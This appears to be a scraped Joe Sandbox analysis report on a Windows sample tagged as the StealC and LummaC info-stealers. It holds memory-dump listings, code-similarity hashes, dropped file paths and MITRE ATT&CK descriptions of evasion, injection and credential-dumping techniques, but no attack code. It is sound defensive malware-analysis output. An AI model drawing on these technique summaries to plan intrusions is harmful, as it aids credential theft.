Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction ID: 60dd290bcf7014d4340a27904594c630a995239359152e0647d05106aa3fae85
Opcode Fuzzy Hash: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction Fuzzy Hash: 530128BBA0C20ECFD718DE2488881BDBAD1DF62310F6642AD946307EC4FE3248115242

Function 00B0F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00B0F1BB

Memory Dump Source

Source File: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction ID: 0495a1535ea659987b6b41d263c1175b24f5f0403d747f730e77da523a50f04f
Opcode Fuzzy Hash: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction Fuzzy Hash: 10D092B1108309AFE7415F6488C8BBEBAE8EB18304F400828EA8581640DA328C10EB1A

Non-executed Functions

Function 00C8E142 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction ID: f526f801d06786b47c3c43609d85fa49fa152f9a966605a1b704fdc38e41d36d
Opcode Fuzzy Hash: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction Fuzzy Hash: FA41E0B390C710AFE705AF18D8466BABBF4EF85320F16882EEAD4C3641D6354844CB97

Function 00CA425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1717268597.0000000000C96000.00000040.00000001.01000000.00000006.sdmp, Offset: 00B00000, based on PE: true

Associated: 0000000A.00000002.1716941692.0000000000B00000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716963563.0000000000B02000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1716987003.0000000000B06000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717010060.0000000000B0A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717032676.0000000000B14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717053804.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717076322.0000000000B16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717174423.0000000000C70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717198735.0000000000C72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717224677.0000000000C8B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717245819.0000000000C8C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717268597.0000000000C8F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717319122.0000000000CAC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717341866.0000000000CAD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717364439.0000000000CAE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717388335.0000000000CB2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717415993.0000000000CC7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717437631.0000000000CC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717461937.0000000000CCF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717486400.0000000000CD9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717511345.0000000000CE8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717534467.0000000000CEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717569131.0000000000CEC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717593773.0000000000CED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717637970.0000000000CF9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717663619.0000000000CFD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717686624.0000000000CFE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717710475.0000000000D06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717740933.0000000000D07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717766764.0000000000D0E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717791047.0000000000D16000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717813026.0000000000D17000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717839140.0000000000D2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717861340.0000000000D38000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717883579.0000000000D41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717903695.0000000000D43000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717931645.0000000000D62000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717954099.0000000000D63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1717985840.0000000000D94000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718005818.0000000000D95000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718025109.0000000000D96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718046782.0000000000D97000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DA1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718069203.0000000000DAA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718116486.0000000000DB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1718141351.0000000000DBA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_b00000_HXPC21YC8H3Q6AWWXLQHI1I.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: 5201a9428bac2a4f45c6c1cd71b9566b932795b2cf8fffdf99f714ff561ce90d
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: 9CE04F361041059AD7009F94C845A9FFBF5FF59311F218845E484CB622C2764D41C729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report s31ydU1MpQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HXPC21YC8H3Q6AWWXLQHI1I.exe.log

C:\Users\user\AppData\Local\Temp\BGXAMSUR4L24WR8IH77.exe

C:\Users\user\AppData\Local\Temp\HXPC21YC8H3Q6AWWXLQHI1I.exe

Static File Info

General

File Icon

